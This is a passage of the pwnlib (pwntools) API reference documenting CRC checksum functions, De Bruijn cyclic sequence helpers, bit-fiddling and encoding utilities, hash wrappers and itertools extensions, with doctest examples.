- polynom = 0x4f
- width = 7
- init = 0x7f
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-rohc

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_7_rohc('123456789')
83
```

pwnlib.util.crc.**crc_8**(*data*) → int

Calculates the crc_8 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x7
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.8

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_8('123456789')
244
```

pwnlib.util.crc.**crc_82_darc**(*data*) → int

Calculates the crc_82_darc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x308c0111011401440411
- width = 82
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.82

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_82_darc('123456789')
749237524598872659187218
```

pwnlib.util.crc.**crc_8_cdma2000**(*data*) → int

Calculates the crc_8_cdma2000 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9b
- width = 8
- init = 0xff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-cdma2000

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_cdma2000('123456789')
218
```

pwnlib.util.crc.**crc_8_darc**(*data*) → int

Calculates the crc_8_darc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x39

- width = 8
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-darc

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_darc('123456789')
21
```

`pwnlib.util.crc.`**`crc_8_dvb_s2`**`(`*data*`)` → int

Calculates the crc_8_dvb_s2 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xd5
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-dvb-s2

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_dvb_s2('123456789')
188
```

`pwnlib.util.crc.`**`crc_8_ebu`**`(`*data*`)` → int

Calculates the crc_8_ebu checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1d
- width = 8
- init = 0xff
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-ebu

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_ebu('123456789')
151
```

pwnlib.util.crc.**crc_8_i_code**(*data*) → int

Calculates the crc_8_i_code checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1d
- width = 8
- init = 0xfd
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-i-code

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_i_code('123456789')
126
```

pwnlib.util.crc.**crc_8_itu**(*data*) → int

Calculates the crc_8_itu checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x7
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x55

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-itu

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_itu('123456789')
161
```

pwnlib.util.crc.**crc_8_maxim**(*data*) → int

Calculates the crc_8_maxim checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x31

- width = 8
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-maxim

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_maxim('123456789')
161
```

pwnlib.util.crc.**crc_8_rohc**(*data*) → int

Calculates the crc_8_rohc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x7
- width = 8
- init = 0xff
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-rohc

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_rohc('123456789')
208
```

pwnlib.util.crc.**crc_8_wcdma**(*data*) → int

Calculates the crc_8_wcdma checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9b
- width = 8
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-wdcma

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_wcdma('123456789')
37
```

`pwnlib.util.crc.`**`crc_a`**`(`*data*`)` → int

Calculates the crc_a checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xc6c6
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-a

Parameters **`data`** (*`str`*) – The data to checksum.

Example

```
>>> print crc_a('123456789')
48901
```

`pwnlib.util.crc.`**`jamcrc`**`(`*data*`)` → int

Calculates the jamcrc checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0xffffffff
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.jamcrc

Parameters **`data`** (*`str`*) – The data to checksum.

Example

```
>>> print jamcrc('123456789')
873187033
```

`pwnlib.util.crc.`**`kermit`**`(`*data*`)` → int

Calculates the kermit checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x1021

- width = 16
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.kermit

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print kermit('123456789')
8585
```

pwnlib.util.crc.**modbus**(*data*) → int

Calculates the modbus checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0xffff
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.modbus

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print modbus('123456789')
19255
```

pwnlib.util.crc.**x_25**(*data*) → int

Calculates the x_25 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xffff
- refin = True
- refout = True
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.x-25

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print x_25('123456789')
36974
```

`pwnlib.util.crc.`**`xfer`**`(`*data*`)` → int

Calculates the xfer checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xaf
- width = 32
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xfer

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print xfer('123456789')
3171672888
```

`pwnlib.util.crc.`**`xmodem`**`(`*data*`)` → int

Calculates the xmodem checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xmodem

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print xmodem('123456789')
12739
```

2.25 `pwnlib.util.cyclic` — Generation of unique sequences

`pwnlib.util.cyclic.`**`cyclic`**(*length = None*, *alphabet = string.ascii_lowercase*, *n = 4*) → list/str

A simple wrapper over `de_bruijn()`. This function returns a at most *length* elements.

If the given alphabet is a string, a string is returned from this function. Otherwise a list is returned.

Parameters

- **`length`** – The desired length of the list or None if the entire sequence is desired.
- **`alphabet`** – List or string to generate the sequence over.
- **`n`** (*`int`*) – The length of subsequences that should be unique.

Example

```
>>> cyclic(alphabet = "ABC", n = 3)
'AAABAACABBABCACBACCBBBCBCCC'
>>> cyclic(20)
'aaaabaaacaaadaaaeaaa'
>>> alphabet, n = range(30), 3
>>> len(alphabet)**n, len(cyclic(alphabet = alphabet, n = n))
(27000, 27000)
```

`pwnlib.util.cyclic.`**`cyclic_find`**(*subseq*, *alphabet = string.ascii_lowercase*, *n = None*) → int

Calculates the position of a substring into a De Bruijn sequence.

Parameters

- **`subseq`** – The subsequence to look for. This can either be a string, a list or an integer. If an integer is provided it will be packed as a little endian integer.
- **`alphabet`** – List or string to generate the sequence over.
- **`n`** (*`int`*) – The length of subsequences that should be unique.

Examples

```
>>> cyclic_find(cyclic(1000)[514:518])
514
>>> cyclic_find(0x61616162)
4
```

`pwnlib.util.cyclic.`**`de_bruijn`**(*alphabet = string.ascii_lowercase*, *n = 4*) → generator

Generator for a sequence of unique substrings of length *n*. This is implemented using a De Bruijn Sequence over the given *alphabet*.

The returned generator will yield up to `len(alphabet)**n` elements.

Parameters

- **`alphabet`** – List or string to generate the sequence over.
- **`n`** (*`int`*) – The length of subsequences that should be unique.

2.26 `pwnlib.util.fiddling` — Utilities bit fiddling

pwnlib.util.fiddling.**b64d**(*s*) → str

Base64 decodes a string

Example

```
>>> b64d('dGVzdA==')
'test'
```

pwnlib.util.fiddling.**b64e**(*s*) → str

Base64 encodes a string

Example

```
>>> b64e("test")
'dGVzdA=='
```

pwnlib.util.fiddling.**bits**(*s*, *endian* = *'big'*, *zero* = *0*, *one* = *1*) → list

Converts the argument a list of bits.

Parameters

- **s** – A string or number to be converted into bits.
- **endian** (*str*) – The binary endian, default 'big'.
- **zero** – The representing a 0-bit.
- **one** – The representing a 1-bit.

Returns A list consisting of the values specified in *zero* and *one*.

Examples

```
>>> bits(511, zero = "+", one = "-")
['+', '+', '+', '+', '+', '+', '+', '-', '-', '-', '-', '-', '-', '-', '-', '-']
>>> sum(bits("test"))
17
>>> bits(0)
[0, 0, 0, 0, 0, 0, 0, 0]
```

pwnlib.util.fiddling.**bits_str**(*s*, *endian* = *'big'*, *zero* = *'0'*, *one* = *'1'*) → str

A wrapper around `bits()`, which converts the output into a string.

Examples

```
>>> bits_str(511)
'0000000111111111'
>>> bits_str("bits_str", endian = "little")
'0100011010010110001011101100111011111010110011100010111001001110'
```

pwnlib.util.fiddling.**bitswap**(*s*) → str

Reverses the bits in every byte of a given string.

Example

```
>>> bitswap("1234")
'\x8cL\xcc,'
```

pwnlib.util.fiddling.**bitswap_int**(*n*) → int

Reverses the bits of a numbers and returns the result as a new number.

Parameters

- **n** (*int*) – The number to swap.
- **width** (*int*) – The width of the integer

Examples

```
>>> hex(bitswap_int(0x1234, 8))
'0x2c'
>>> hex(bitswap_int(0x1234, 16))
'0x2c48'
>>> hex(bitswap_int(0x1234, 24))
'0x2c4800'
>>> hex(bitswap_int(0x1234, 25))
'0x589000'
```

pwnlib.util.fiddling.**bnot**(*value*, *width=None*)

Returns the binary inverse of 'value'.

pwnlib.util.fiddling.**enhex**(*x*) → str

Hex-encodes a string.

Example

```
>>> enhex("test")
'74657374'
```

pwnlib.util.fiddling.**hexdump**(*s*, *width=16*, *skip=True*, *hexii=False*, *begin=0*, *style=None*, *highlight=None*, *cyclic=False*)

hexdump(s, width = 16, skip = True, hexii = False, begin = 0, style = None, highlight = None, cyclic = False)
-> str generator

Return a hexdump-dump of a string.

Parameters

- **s** (*str*) – The data to hexdump.
- **width** (*int*) – The number of characters per line
- **skip** (*bool*) – Set to True, if repeated lines should be replaced by a "*"
- **hexii** (*bool*) – Set to True, if a hexii-dump should be returned instead of a hexdump.
- **begin** (*int*) – Offset of the first byte to print in the left column
- **style** (*dict*) – Color scheme to use.
- **highlight** (*iterable*) – Byte values to highlight.
- **cyclic** (*bool*) – Attempt to skip consecutive, unmodified cyclic lines

Returns A hexdump-dump in the form of a string.

`pwnlib.util.fiddling.`**`hexdump_iter`**(*fd*, *width=16*, *skip=True*, *hexii=False*, *begin=0*, *style=None*, *highlight=None*, *cyclic=False*)

hexdump_iter(s, width = 16, skip = True, hexii = False, begin = 0, style = None, highlight = None, cyclic = False) -> str generator

Return a hexdump-dump of a string as a generator of lines. Unless you have massive amounts of data you probably want to use *`hexdump()`*.

Parameters

- **`fd`** (*`file`*) – File object to dump. Use `StringIO.StringIO()` or *`hexdump()`* to dump a string.
- **`width`** (*`int`*) – The number of characters per line
- **`skip`** (*`bool`*) – Set to True, if repeated lines should be replaced by a "*"
- **`hexii`** (*`bool`*) – Set to True, if a hexii-dump should be returned instead of a hexdump.
- **`begin`** (*`int`*) – Offset of the first byte to print in the left column
- **`style`** (*`dict`*) – Color scheme to use.
- **`highlight`** (*`iterable`*) – Byte values to highlight.
- **`cyclic`** (*`bool`*) – Attempt to skip consecutive, unmodified cyclic lines

Returns A generator producing the hexdump-dump one line at a time.

`pwnlib.util.fiddling.`**`hexii`**(*s*, *width = 16*, *skip = True*) → str

Return a HEXII-dump of a string.

Parameters

- **`s`** (*`str`*) – The string to dump
- **`width`** (*`int`*) – The number of characters per line
- **`skip`** (*`bool`*) – Should repeated lines be replaced by a "*"

Returns A HEXII-dump in the form of a string.

`pwnlib.util.fiddling.`**`isprint`**(*c*) → bool

Return True if a character is printable

`pwnlib.util.fiddling.`**`naf`**(*int*) → int generator

Returns a generator for the non-adjacent form (NAF[1]) of a number, *n*. If *naf(n)* generates *z_0, z_1, ...*, then *n == z_0 + z_1 * 2 + z_2 * 2**2, ...*

[1] https://en.wikipedia.org/wiki/Non-adjacent_form

Example

```
>>> n = 45
>>> m = 0
>>> x = 1
>>> for z in naf(n):
...     m += x * z
...     x *= 2
>>> n == m
True
```

`pwnlib.util.fiddling.`**`negate`**(*value*, *width=None*)

Returns the two's complement of 'value'.

`pwnlib.util.fiddling.`**`randoms`**(*count*, *alphabet = string.lowercase*) → str

Returns a random string of a given length using only the specified alphabet.

Parameters

- **`count`** (*`int`*) – The length of the desired string.
- **`alphabet`** – The alphabet of allowed characters. Defaults to all lowercase characters.

Returns A random string.

Example

```
>>> randoms(10)
'evafjilupm'
```

`pwnlib.util.fiddling.`**`rol`**(*n*, *k*, *word_size=None*)

Returns a rotation by *k* of *n*.

When *n* is a number, then means `((n << k) | (n >> (word_size - k)))` truncated to *word_size* bits.

When *n* is a list, tuple or string, this is `n[k % len(n):] + n[:k % len(n)]`.

Parameters

- **`n`** – The value to rotate.
- **`k`** (*`int`*) – The rotation amount. Can be a positive or negative number.
- **`word_size`** (*`int`*) – If *n* is a number, then this is the assumed bitsize of *n*. Defaults to `pwnlib.context.word_size` if *None* .

Example

```
>>> rol('abcdefg', 2)
'cdefgab'
>>> rol('abcdefg', -2)
'fgabcde'
>>> hex(rol(0x86, 3, 8))
'0x34'
>>> hex(rol(0x86, -3, 8))
'0xd0'
```

`pwnlib.util.fiddling.`**`ror`**(*n*, *k*, *word_size=None*)

A simple wrapper around *`rol()`*, which negates the values of *k*.

`pwnlib.util.fiddling.`**`unbits`**(*s*, *endian = 'big'*) → str

Converts an iterable of bits into a string.

Parameters

- **`s`** – Iterable of bits
- **`endian`** (*`str`*) – The string "little" or "big", which specifies the bits endianness.

Returns A string of the decoded bits.

Example

```
>>> unbits([1])
'\x80'
>>> unbits([1], endian = 'little')
'\x01'
>>> unbits(bits('hello'), endian = 'little')
'\x16\xa666\xf6'
```

`pwnlib.util.fiddling.`**`unhex`**(*s*) → str

Hex-decodes a string.

Example

```
>>> unhex("74657374")
'test'
>>> unhex("F\n")
'\x0f'
```

`pwnlib.util.fiddling.`**`urldecode`**(*s*, *ignore_invalid = False*) → str

URL-decodes a string.

Example

```
>>> urldecode("test%20%41")
'test A'
>>> urldecode("%qq")
Traceback (most recent call last):
...
ValueError: Invalid input to urldecode
>>> urldecode("%qq", ignore_invalid = True)
'%qq'
```

`pwnlib.util.fiddling.`**`urlencode`**(*s*) → str

URL-encodes a string.

Example

```
>>> urlencode("test")
'%74%65%73%74'
```

`pwnlib.util.fiddling.`**`xor`**(**args*, *cut = 'max'*) → str

Flattens its arguments using *`pwnlib.util.packing.flat()`* and then xors them together. If the end of a string is reached, it wraps around in the string.

Parameters

- **`args`** – The arguments to be xor'ed together.
- **`cut`** – How long a string should be returned. Can be either 'min'/'max'/'left'/'right' or a number.

Returns The string of the arguments xor'ed together.

Example

```
>>> xor('lol', 'hello', 42)
'. ***'
```

`pwnlib.util.fiddling.`**`xor_key`**(*data*, *size=None*, *avoid='x00n'*) *-> None or (int, str)*

Finds a `size`-width value that can be XORed with a string to produce `data`, while neither the XOR value or XOR string contain any bytes in `avoid`.

Parameters

- **`data`** (*`str`*) – The desired string.
- **`avoid`** – The list of disallowed characters. Defaults to nulls and newlines.
- **`size`** (*`int`*) – Size of the desired output value, default is word size.

Returns A tuple containing two strings; the XOR key and the XOR string. If no such pair exists, None is returned.

Example

```
>>> xor_key("Hello, world")
('\x01\x01\x01\x01', 'Idmmn-!vnsme')
```

`pwnlib.util.fiddling.`**`xor_pair`**(*data*, *avoid = 'x00n'*) *-> None or (str, str)*

Finds two strings that will xor into a given string, while only using a given alphabet.

Parameters

- **`data`** (*`str`*) – The desired string.
- **`avoid`** – The list of disallowed characters. Defaults to nulls and newlines.

Returns Two strings which will xor to the given string. If no such two strings exist, then None is returned.

Example

```
>>> xor_pair("test")
('\x01\x01\x01\x01', 'udru')
```

2.27 `pwnlib.util.hashes` — Hashing functions

Functions for computing various hashes of files and strings.

`pwnlib.util.hashes.`**`md5file`**(*x*)

Calculates the md5 sum of a file

`pwnlib.util.hashes.`**`md5filehex`**(*x*)

Calculates the md5 sum of a file; returns hex-encoded

`pwnlib.util.hashes.`**`md5sum`**(*x*)

Calculates the md5 sum of a string

`pwnlib.util.hashes.`**`md5sumhex`**(*x*)

Calculates the md5 sum of a string; returns hex-encoded

`pwnlib.util.hashes.`**`sha1file`**`(`*x*`)`
Calculates the sha1 sum of a file

`pwnlib.util.hashes.`**`sha1filehex`**`(`*x*`)`
Calculates the sha1 sum of a file; returns hex-encoded

`pwnlib.util.hashes.`**`sha1sum`**`(`*x*`)`
Calculates the sha1 sum of a string

`pwnlib.util.hashes.`**`sha1sumhex`**`(`*x*`)`
Calculates the sha1 sum of a string; returns hex-encoded

`pwnlib.util.hashes.`**`sha224file`**`(`*x*`)`
Calculates the sha224 sum of a file

`pwnlib.util.hashes.`**`sha224filehex`**`(`*x*`)`
Calculates the sha224 sum of a file; returns hex-encoded

`pwnlib.util.hashes.`**`sha224sum`**`(`*x*`)`
Calculates the sha224 sum of a string

`pwnlib.util.hashes.`**`sha224sumhex`**`(`*x*`)`
Calculates the sha224 sum of a string; returns hex-encoded

`pwnlib.util.hashes.`**`sha256file`**`(`*x*`)`
Calculates the sha256 sum of a file

`pwnlib.util.hashes.`**`sha256filehex`**`(`*x*`)`
Calculates the sha256 sum of a file; returns hex-encoded

`pwnlib.util.hashes.`**`sha256sum`**`(`*x*`)`
Calculates the sha256 sum of a string

`pwnlib.util.hashes.`**`sha256sumhex`**`(`*x*`)`
Calculates the sha256 sum of a string; returns hex-encoded

`pwnlib.util.hashes.`**`sha384file`**`(`*x*`)`
Calculates the sha384 sum of a file

`pwnlib.util.hashes.`**`sha384filehex`**`(`*x*`)`
Calculates the sha384 sum of a file; returns hex-encoded

`pwnlib.util.hashes.`**`sha384sum`**`(`*x*`)`
Calculates the sha384 sum of a string

`pwnlib.util.hashes.`**`sha384sumhex`**`(`*x*`)`
Calculates the sha384 sum of a string; returns hex-encoded

`pwnlib.util.hashes.`**`sha512file`**`(`*x*`)`
Calculates the sha512 sum of a file

`pwnlib.util.hashes.`**`sha512filehex`**`(`*x*`)`
Calculates the sha512 sum of a file; returns hex-encoded

`pwnlib.util.hashes.`**`sha512sum`**`(`*x*`)`
Calculates the sha512 sum of a string

`pwnlib.util.hashes.`**`sha512sumhex`**`(`*x*`)`
Calculates the sha512 sum of a string; returns hex-encoded

2.28 `pwnlib.util.iters` — Extension of standard module `itertools`

This module includes and extends the standard module `itertools`.

`pwnlib.util.iters.`**`bruteforce`**(*func*, *alphabet*, *length*, *method = 'upto'*, *start = None*)

Bruteforce *func* to return `True`. *func* should take a string input and return a `bool()`. *func* will be called with strings from *alphabet* until it returns `True` or the search space has been exhausted.

The argument *start* can be used to split the search space, which is useful if multiple CPU cores are available.

Parameters

- **`func`** (`function`) – The function to bruteforce.
- **`alphabet`** – The alphabet to draw symbols from.
- **`length`** – Longest string to try.
- **`method`** – If 'upto' try strings of length `1 .. length`, if 'fixed' only try strings of length `length` and if 'downfrom' try strings of length `length .. 1`.
- **`start`** – a tuple `(i, N)` which splits the search space up into *N* pieces and starts at piece *i* (1..N). `None` is equivalent to `(1, 1)`.

Returns A string *s* such that `func(s)` returns `True` or `None` if the search space was exhausted.

Example

```
>>> bruteforce(lambda x: x == 'hello', string.lowercase, length = 10)
'hello'
>>> bruteforce(lambda x: x == 'hello', 'hllo', 5) is None
True
```

`pwnlib.util.iters.`**`mbruteforce`**(*func*, *alphabet*, *length*, *method = 'upto'*, *start = None*, *threads = None*)

Same functionality as bruteforce(), but multithreaded.

Parameters

- **`alphabet, length, method, start`** (*`func,`*) – same as for bruteforce()
- **`threads`** – Amount of threads to spawn, default is the amount of cores.

`pwnlib.util.iters.`**`chained`**(*func*)

A decorator chaining the results of *func*. Useful for generators.

Parameters **`func`** (`function`) – The function being decorated.

Returns A generator function whoose elements are the concatenation of the return values from `func(*args, **kwargs)`.

Example

```
>>> @chained
... def g():
...     for x in count():
...         yield (x, -x)
```

```
>>> take(6, g())
[0, 0, 1, -1, 2, -2]
```

pwnlib.util.iters.**consume**(*n*, *iterator*)

Advance the iterator *n* steps ahead. If *n is :const:'None*, consume everything.

Parameters

- **n** (*int*) – Number of elements to consume.
- **iterator** (*iterator*) – An iterator.

Returns None.

Examples

```
>>> i = count()
>>> consume(5, i)
>>> i.next()
5
>>> i = iter([1, 2, 3, 4, 5])
>>> consume(2, i)
>>> list(i)
[3, 4, 5]
```

pwnlib.util.iters.**cyclen**(*n*, *iterable*) → iterator

Repeats the elements of *iterable n* times.

Parameters

- **n** (*int*) – The number of times to repeat *iterable*.
- **iterable** – An iterable.

Returns An iterator whoose elements are the elements of *iterator* repeated *n* times.

Examples

```
>>> take(4, cyclen(2, [1, 2]))
[1, 2, 1, 2]
>>> list(cyclen(10, []))
[]
```

pwnlib.util.iters.**dotproduct**(*x*, *y*) → int

Computes the dot product of *x* and *y*.

Parameters

- **x** (*iterable*) – An iterable.
- **x** – An iterable.

Returns x[0] * y[0] + x[1] * y[1] + ...

Return type The dot product of *x* and *y*, i.e.

Example

```
>>> dotproduct([1, 2, 3], [4, 5, 6])
... # 1 * 4 + 2 * 5 + 3 * 6 == 32
32
```

`pwnlib.util.iters.`**`flatten`**(*xss*) → iterator

Flattens one level of nesting; when *xss* is an iterable of iterables, returns an iterator whoose elements is the concatenation of the elements of *xss*.

Parameters **`xss`** – An iterable of iterables.

Returns An iterator whoose elements are the concatenation of the iterables in *xss*.

Examples

```
>>> list(flatten([[1, 2], [3, 4]]))
[1, 2, 3, 4]
>>> take(6, flatten([[43, 42], [41, 40], count()]))
[43, 42, 41, 40, 0, 1]
```

`pwnlib.util.iters.`**`group`**(*n*, *iterable*, *fill_value = None*) → iterator

Similar to *`pwnlib.util.lists.group()`*, but returns an iterator and uses `itertools` fast build-in functions.

Parameters

- **`n`** (*`int`*) – The group size.
- **`iterable`** – An iterable.
- **`fill_value`** – The value to fill into the remaining slots of the last group if the *n* does not divide the number of elements in *iterable*.

Returns An iterator whoose elements are *n*-tuples of the elements of *iterable*.

Examples

```
>>> list(group(2, range(5)))
[(0, 1), (2, 3), (4, None)]
>>> take(3, group(2, count()))
[(0, 1), (2, 3), (4, 5)]
>>> [''.join(x) for x in group(3, 'ABCDEFG', 'x')]
['ABC', 'DEF', 'Gxx']
```

`pwnlib.util.iters.`**`iter_except`**(*func*, *exception*)

Calls *func* repeatedly until an exception is raised. Works like the build-in `iter()` but uses an exception instead of a sentinel to signal the end.

Parameters

- **`func`** – The function to call.
- **`exception`** (`exception`) – The exception that signals the end. Other exceptions will not be caught.

Returns An iterator whoose elements are the results of calling `func()` until an exception matching *exception* is raised.

Examples

```
>>> s = {1, 2, 3}
>>> i = iter_except(s.pop, KeyError)
>>> i.next()
1
>>> i.next()
2
>>> i.next()
3
>>> i.next()
Traceback (most recent call last):
    ...
StopIteration
```

`pwnlib.util.iters.`**`lexicographic`**`(`*alphabet*`)` → iterator

The words with symbols in *alphabet*, in lexicographic order (determined by the order of *alphabet*).

Parameters **`alphabet`** – The alphabet to draw symbols from.

Returns An iterator of the words with symbols in *alphabet*, in lexicographic order.

Example

```
>>> take(8, imap(lambda x: ''.join(x), lexicographic('01')))
['', '0', '1', '00', '01', '10', '11', '000']
```

`pwnlib.util.iters.`**`lookahead`**`(`*n*, *iterable*`)` → object

Inspects the upcoming element at index *n* without advancing the iterator. Raises `IndexError` if *iterable* has too few elements.

Parameters

- **n** (*`int`*) – Index of the element to return.
- **`iterable`** – An iterable.

Returns The element in *iterable* at index *n*.

Examples

```
>>> i = count()
>>> lookahead(4, i)
4
>>> i.next()
0
>>> i = count()
>>> nth(4, i)
4
>>> i.next()
5
>>> lookahead(4, i)
10
```

`pwnlib.util.iters.`**`nth`**`(`*n*, *iterable*, *default = None*`)` → object

Returns the element at index *n* in *iterable*. If *iterable* is a iterator it will be advanced.

Parameters

- **n** (*int*) – Index of the element to return.
- **iterable** – An iterable.
- **default** (*objext*) – A default value.

Returns The element at index *n* in *iterable* or *default* if *iterable* has too few elements.

Examples

```
>>> nth(2, [0, 1, 2, 3])
2
>>> nth(2, [0, 1], 42)
42
>>> i = count()
>>> nth(42, i)
42
>>> nth(42, i)
85
```

`pwnlib.util.iters.`**`pad`**`(`*iterable*, *value = None*`)` → iterator

Pad an *iterable* with *value*, i.e. returns an iterator whoose elements are first the elements of *iterable* then *value* indefinitely.

Parameters

- **iterable** – An iterable.
- **value** – The value to pad with.

Returns An iterator whoose elements are first the elements of *iterable* then *value* indefinitely.

Examples

```
>>> take(3, pad([1, 2]))
[1, 2, None]
>>> i = pad(iter([1, 2, 3]), 42)
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 42]
>>> take(2, i)
[42, 42]
```

`pwnlib.util.iters.`**`pairwise`**`(`*iterable*`)` → iterator

Parameters **iterable** – An iterable.

Returns An iterator whoose elements are pairs of neighbouring elements of *iterable*.

Examples

```
>>> list(pairwise([1, 2, 3, 4]))
[(1, 2), (2, 3), (3, 4)]
>>> i = starmap(operator.add, pairwise(count()))
>>> take(5, i)
[1, 3, 5, 7, 9]
```

`pwnlib.util.iters.`**`powerset`**(*iterable*, *include_empty = True*) → iterator

The powerset of an iterable.

Parameters

- **`iterable`** – An iterable.
- **`include_empty`** (*`bool`*) – Whether to include the empty set.

Returns The powerset of *iterable* as an interator of tuples.

Examples

```
>>> list(powerset(range(3)))
[(), (0,), (1,), (2,), (0, 1), (0, 2), (1, 2), (0, 1, 2)]
>>> list(powerset(range(2), include_empty = False))
[(0,), (1,), (0, 1)]
```

`pwnlib.util.iters.`**`quantify`**(*iterable*, *pred = bool*) → int

Count how many times the predicate *pred* is `True`.

Parameters

- **`iterable`** – An iterable.
- **`pred`** – A function that given an element from *iterable* returns either `True` or `False`.

Returns The number of elements in *iterable* for which *pred* returns `True`.

Examples

```
>>> quantify([1, 2, 3, 4], lambda x: x % 2 == 0)
2
>>> quantify(['1', 'two', '3', '42'], str.isdigit)
3
```

`pwnlib.util.iters.`**`random_combination`**(*iterable*, *r*) → tuple

Parameters

- **`iterable`** – An iterable.
- **`r`** (*`int`*) – Size of the combination.

Returns A random element from `itertools.combinations(iterable, r = r)`.

Examples

```
>>> random_combination(range(2), 2)
(0, 1)
>>> random_combination(range(10), r = 2) in combinations(range(10), r = 2)
True
```

`pwnlib.util.iters.`**`random_combination_with_replacement`**(*iterable*, *r*)

random_combination(iterable, r) -> tuple

Parameters

- **`iterable`** – An iterable.

- **r** (*int*) – Size of the combination.

Returns A random element from `itertools.combinations_with_replacement(iterable, r = r)`.

Examples

```
>>> cs = {(0, 0), (0, 1), (1, 1)}
>>> random_combination_with_replacement(range(2), 2) in cs
True
>>> i = combinations_with_replacement(range(10), r = 2)
>>> random_combination_with_replacement(range(10), r = 2) in i
True
```

`pwnlib.util.iters.`**`random_permutation`**`(`*iterable*, *r=None*`)`

random_product(iterable, r = None) -> tuple

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the permutation. If `None` select all elements in *iterable*.

Returns A random element from `itertools.permutations(iterable, r = r)`.

Examples

```
>>> random_permutation(range(2)) in {(0, 1), (1, 0)}
True
>>> random_permutation(range(10), r = 2) in permutations(range(10), r = 2)
True
```

`pwnlib.util.iters.`**`random_product`**`(`**args*, *repeat = 1*`)` → tuple

Parameters

- **args** – One or more iterables
- **repeat** (*int*) – Number of times to repeat *args*.

Returns A random element from `itertools.product(*args, repeat = repeat)`.

Examples

```
>>> args = (range(2), range(2))
>>> random_product(*args) in {(0, 0), (0, 1), (1, 0), (1, 1)}
True
>>> args = (range(3), range(3), range(3))
>>> random_product(*args, repeat = 2) in product(*args, repeat = 2)
True
```

`pwnlib.util.iters.`**`repeat_func`**`(`*func*, **args*, ***kwargs*`)` → iterator

Repeatedly calls *func* with positional arguments *args* and keyword arguments *kwargs*. If no keyword arguments is given the resulting iterator will be computed using only functions from `itertools` which are very fast.

Parameters

- **func** (*function*) – The function to call.

